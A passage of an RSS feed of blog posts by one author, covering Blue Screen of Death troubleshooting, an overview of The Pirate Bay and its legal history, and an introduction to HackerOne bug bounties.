      <description>&lt;h2&gt;
  
  
  Understanding the Blue Screen of Death (BSOD): Causes, Prevention, and Recovery
&lt;/h2&gt;

&lt;p&gt;The Blue Screen of Death (BSOD) is one of the most well-known error screens in computing history. It represents a &lt;strong&gt;system crash&lt;/strong&gt; that occurs when the Windows operating system encounters a &lt;strong&gt;critical error&lt;/strong&gt; it cannot recover from without a reboot.&lt;/p&gt;

&lt;p&gt;While it may look intimidating (and often arrives at the worst possible moment), understanding what the BSOD is and why it happens can help you fix and even prevent it.&lt;/p&gt;




&lt;h2&gt;
  
  
  📘 What Is the Blue Screen of Death?
&lt;/h2&gt;

&lt;p&gt;The BSOD is an error screen displayed by Microsoft Windows after a &lt;strong&gt;kernel panic&lt;/strong&gt;, typically caused by low-level software or hardware faults. It’s formally known as a &lt;strong&gt;STOP error&lt;/strong&gt; or &lt;strong&gt;bug check&lt;/strong&gt;, and when it occurs, the operating system halts to prevent further damage.&lt;/p&gt;

&lt;p&gt;In Windows 10 and later, the screen includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A sad face emoji (&lt;code&gt;:(&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;A message indicating a system problem&lt;/li&gt;
&lt;li&gt;A QR code&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;STOP code&lt;/strong&gt; (like &lt;code&gt;CRITICAL_PROCESS_DIED&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Earlier versions (like Windows XP) showed a full-screen blue terminal filled with hexadecimal values and technical debugging information — truly a nightmare for non-technical users.&lt;/p&gt;




&lt;h2&gt;
  
  
  🛠 Common Causes of a BSOD
&lt;/h2&gt;

&lt;p&gt;Here are some of the most frequent causes of a BSOD:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Faulty Drivers&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Incompatible, outdated, or buggy device drivers can corrupt memory or send invalid commands to hardware.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Hardware Failure&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Faulty RAM, hard drives, overheating GPUs, or dying motherboards can all trigger crashes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Overclocking or BIOS Issues&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Tinkering with hardware clock speeds or improper BIOS settings can destabilize your system.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Software Conflicts&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Low-level applications (like antivirus software or virtualization tools) can interfere with kernel operations.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Corrupted System Files&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Sudden shutdowns or disk issues can damage essential system files needed for booting or operating Windows safely.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  🧩 What to Do When You Get a BSOD
&lt;/h2&gt;

&lt;p&gt;Here’s a step-by-step checklist:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Note the STOP code&lt;/strong&gt; shown on the screen. Example: &lt;code&gt;KMODE_EXCEPTION_NOT_HANDLED&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scan your PC for malware&lt;/strong&gt; using Windows Defender or a trusted antivirus.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run System File Checker:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;sfc /scannow&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Check for driver updates&lt;/strong&gt; using Device Manager or manufacturer websites.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run a memory diagnostic&lt;/strong&gt;:
Search for "Windows Memory Diagnostic" and reboot to check RAM.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Undo recent changes&lt;/strong&gt; if you've installed new drivers, apps, or Windows updates recently.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Boot into Safe Mode&lt;/strong&gt; to isolate and troubleshoot without loading unnecessary drivers or apps.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  🔄 How to Prevent a BSOD
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;✅ Keep Windows and drivers &lt;strong&gt;up to date&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;✅ Avoid using &lt;strong&gt;beta drivers or untrusted software&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;✅ Regularly scan for &lt;strong&gt;malware&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;✅ Ensure your &lt;strong&gt;power supply and cooling systems&lt;/strong&gt; are adequate
&lt;/li&gt;
&lt;li&gt;✅ Don’t &lt;strong&gt;force shutdown&lt;/strong&gt; your PC (unless necessary)
&lt;/li&gt;
&lt;li&gt;✅ Consider using tools like &lt;a href="https://www.resplendence.com/whocrashed" rel="noopener noreferrer"&gt;WhoCrashed&lt;/a&gt; or &lt;a href="https://www.nirsoft.net/utils/blue_screen_view.html" rel="noopener noreferrer"&gt;BlueScreenView&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🕰 A Brief History of the BSOD
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Windows 95/98/XP&lt;/strong&gt;: Blue screens were common, often triggered by driver issues or legacy hardware.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Windows Vista/7&lt;/strong&gt;: More stability, but BSODs were still frequent.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Windows 10/11&lt;/strong&gt;: Improved error reporting with QR codes and a cleaner interface.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Famous incident:&lt;/strong&gt; During the &lt;strong&gt;Windows 98 live demo&lt;/strong&gt;, a BSOD appeared in front of a global audience while Bill Gates was introducing Plug &amp;amp; Play. 🙃&lt;/p&gt;




&lt;h2&gt;
  
  
  💬 Final Thoughts
&lt;/h2&gt;

&lt;p&gt;The BSOD may seem like a relic from the past, but it's still relevant in modern computing. It's no longer just a frustrating screen — it’s a &lt;strong&gt;warning system&lt;/strong&gt;, a &lt;strong&gt;diagnostic tool&lt;/strong&gt;, and a &lt;strong&gt;safety mechanism&lt;/strong&gt; to protect your system from deeper corruption.&lt;/p&gt;

&lt;p&gt;If you treat each blue screen as a clue rather than a catastrophe, you’ll become a more resilient and confident Windows user.&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;Want more? How about a follow-up on "Reading BSOD Minidumps" or "Famous Blue Screen Fails in Tech History"? 😄&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>windows</category>
      <category>errors</category>
      <category>learning</category>
      <category>bsod</category>
    </item>
    <item>
      <title>🏴‍☠️ The Pirate Bay: Internet’s Most Wanted File Ship ⚓💾</title>
      <dc:creator>hmza</dc:creator>
      <pubDate>Thu, 17 Jul 2025 07:15:08 +0000</pubDate>
      <link>https://forem.com/0root/the-pirate-bay-internets-most-wanted-file-ship-1lpg</link>
      <guid>https://forem.com/0root/the-pirate-bay-internets-most-wanted-file-ship-1lpg</guid>
      <description>&lt;h2&gt;
  
  
  🏴‍☠️ The Pirate Bay: Internet’s Most Wanted File Ship ⚓💾
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The Pirate Bay (TPB)&lt;/strong&gt; is one of the most iconic — and controversial — websites in internet history. It's a platform that has sparked global debates on &lt;strong&gt;freedom, copyright, and digital piracy&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  📜 What Is The Pirate Bay?
&lt;/h2&gt;

&lt;p&gt;Launched in &lt;strong&gt;2003&lt;/strong&gt; by Swedish activists from Piratbyrån (The Pirate Bureau), &lt;strong&gt;The Pirate Bay&lt;/strong&gt; is a search engine for &lt;strong&gt;torrent files&lt;/strong&gt; — small files used to share large files over &lt;strong&gt;BitTorrent&lt;/strong&gt; protocol.&lt;/p&gt;

&lt;p&gt;🌐 Domain: &lt;a href="https://thepiratebay.org" rel="noopener noreferrer"&gt;https://thepiratebay.org&lt;/a&gt; &lt;em&gt;(banned in many countries)&lt;/em&gt;&lt;br&gt;&lt;br&gt;
🎭 Nature: &lt;strong&gt;Decentralized file sharing&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  📥 What Does It Host?
&lt;/h2&gt;

&lt;p&gt;The Pirate Bay doesn’t host files directly. Instead, it provides &lt;strong&gt;.torrent files&lt;/strong&gt; and &lt;strong&gt;magnet links&lt;/strong&gt; that help users download content via peers (seeders).&lt;/p&gt;

&lt;p&gt;Typical content includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Movies 🎬&lt;/li&gt;
&lt;li&gt;TV Shows 📺&lt;/li&gt;
&lt;li&gt;Games 🎮&lt;/li&gt;
&lt;li&gt;Software 🧠&lt;/li&gt;
&lt;li&gt;Music 🎵&lt;/li&gt;
&lt;li&gt;Books 📚&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ Disclaimer: Much of the content is copyrighted and illegal to download without proper licenses.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  ⚖️ Legal &amp;amp; Ethical Concerns
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Multiple lawsuits across the globe.&lt;/li&gt;
&lt;li&gt;Founders have served jail time (Gottfrid Svartholm, Peter Sunde).&lt;/li&gt;
&lt;li&gt;The site has been &lt;strong&gt;blocked in over 30 countries&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Domain and hosting frequently shift to avoid takedowns.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  💻 How It Works (Simplified)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;User downloads a &lt;code&gt;.torrent&lt;/code&gt; or clicks a magnet link.&lt;/li&gt;
&lt;li&gt;BitTorrent client (like qBittorrent) connects to other users.&lt;/li&gt;
&lt;li&gt;Pieces of the file are downloaded from multiple users simultaneously.&lt;/li&gt;
&lt;li&gt;Once complete, the user can “seed” (upload) to others.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Bonus: Discord bot!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiytba1kdngy3ahamp8nq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiytba1kdngy3ahamp8nq.png" alt=" " width="268" height="442"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://discord.com/oauth2/authorize?client_id=1414986966952448080" rel="noopener noreferrer"&gt;https://discord.com/oauth2/authorize?client_id=1414986966952448080&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  🧠 Why It Survives
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Decentralization&lt;/strong&gt;: No single server or location.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Proxy Mirrors&lt;/strong&gt;: Always new domains pop up.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DHT/Trackerless Torrents&lt;/strong&gt;: No need for central trackers.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🛠️ Access with Caution
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Use a &lt;strong&gt;VPN&lt;/strong&gt; to maintain privacy.&lt;/li&gt;
&lt;li&gt;Some proxies may contain malware — be cautious.&lt;/li&gt;
&lt;li&gt;Many countries monitor torrent usage.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🧭 Alternatives (Legal)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://archive.org" rel="noopener noreferrer"&gt;Internet Archive&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://libgen.is" rel="noopener noreferrer"&gt;LibGen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gutenberg.org" rel="noopener noreferrer"&gt;Project Gutenberg&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://joinpeertube.org/" rel="noopener noreferrer"&gt;Peertube&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🔚 Final Thought
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The Pirate Bay&lt;/strong&gt; is the &lt;strong&gt;Robin Hood of the internet&lt;/strong&gt; to some, and &lt;strong&gt;a den of piracy&lt;/strong&gt; to others. It’s a relic of the wild-west web and a symbol of the fight for a freer internet — for better or worse.&lt;/p&gt;

&lt;p&gt;⚠️ &lt;em&gt;Use responsibly, ethically, and legally — or not at all.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>piratebay</category>
      <category>piracy</category>
      <category>programming</category>
      <category>learning</category>
    </item>
    <item>
      <title>🛡️ Ethical Hacking on HackerOne: The Legal Path to Bug Bounties 💰🕵️</title>
      <dc:creator>hmza</dc:creator>
      <pubDate>Thu, 17 Jul 2025 07:14:15 +0000</pubDate>
      <link>https://forem.com/0root/ethical-hacking-on-hackerone-the-legal-path-to-bug-bounties-afe</link>
      <guid>https://forem.com/0root/ethical-hacking-on-hackerone-the-legal-path-to-bug-bounties-afe</guid>
      <description>&lt;h2&gt;
  
  
  🛡️ Ethical Hacking on HackerOne: The Legal Path to Bug Bounties 💰🕵️
&lt;/h2&gt;

&lt;p&gt;In a world where cybersecurity threats are evolving daily, platforms like &lt;strong&gt;HackerOne&lt;/strong&gt; are turning the tables — allowing &lt;strong&gt;ethical hackers&lt;/strong&gt; to legally hunt bugs and get rewarded.&lt;/p&gt;

&lt;h2&gt;
  
  
  👀 What Is HackerOne?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;HackerOne&lt;/strong&gt; is a platform where security researchers (also known as hackers) report security vulnerabilities to companies. In return, they can earn &lt;strong&gt;bug bounties&lt;/strong&gt; — cash rewards based on the severity of the flaw.&lt;/p&gt;

&lt;p&gt;📌 Founded: 2012&lt;br&gt;&lt;br&gt;
🌐 Website: &lt;a href="https://www.hackerone.com" rel="noopener noreferrer"&gt;https://www.hackerone.com&lt;/a&gt;&lt;br&gt;&lt;br&gt;
🧠 Notable Clients: Uber, GitHub, Twitter, PayPal, the U.S. Department of Defense&lt;/p&gt;


&lt;h2&gt;
  
  
  🧪 How It Works
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Sign up&lt;/strong&gt; as a hacker or a company.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Search for programs&lt;/strong&gt; offering rewards (some are private/invite-only).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Find bugs&lt;/strong&gt; responsibly in the scope they define.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Submit reports&lt;/strong&gt; with proof-of-concept and severity analysis.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Get paid&lt;/strong&gt; if your bug is valid and unique.&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;
  
  
  💸 Real-World Hacker Success Stories
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Santiago Lopez&lt;/strong&gt;: First person to earn over $1M in bug bounties.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Katie Paxton-Fear&lt;/strong&gt;: College professor &amp;amp; YouTuber helping hackers get started.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Jack Cable&lt;/strong&gt;: Reported vulnerabilities to the U.S. government and became a White House fellow.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  🧠 Types of Bugs You Can Report
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;XSS (Cross-site Scripting)&lt;/li&gt;
&lt;li&gt;SQL Injection&lt;/li&gt;
&lt;li&gt;IDOR (Insecure Direct Object Reference)&lt;/li&gt;
&lt;li&gt;SSRF (Server-Side Request Forgery)&lt;/li&gt;
&lt;li&gt;Authentication Bypass&lt;/li&gt;
&lt;li&gt;Misconfigured permissions&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  🛠️ Tools Used by Hackers
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nmap&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ffuf&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Subfinder&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Amass&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OWASP ZAP&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  🔐 Ethics and Scope
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Always &lt;strong&gt;follow the rules of engagement&lt;/strong&gt; outlined in each program.&lt;br&gt;&lt;br&gt;
Hacking without permission = &lt;strong&gt;illegal&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  🧭 Getting Started
&lt;/h2&gt;

&lt;p&gt;To start bug hunting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
1. Sign up at https://www.hackerone.com/hackers  
2. Complete Hacker101 CTFs to earn private program invites  
3. Read disclosed reports to learn how others report bugs  

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🎯 Final Word
&lt;/h2&gt;

&lt;p&gt;HackerOne is proof that &lt;strong&gt;hackers can be heroes&lt;/strong&gt; — making the web safer while making money. If you’re a curious mind with a knack for breaking things, this is your legal playground.&lt;/p&gt;

&lt;p&gt;🔓 &lt;strong&gt;Hack legally. Get paid. Stay ethical.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>hackerone</category>
      <category>programming</category>
      <category>bugbounty</category>
      <category>ctf</category>
    </item>
  </channel>
</rss>
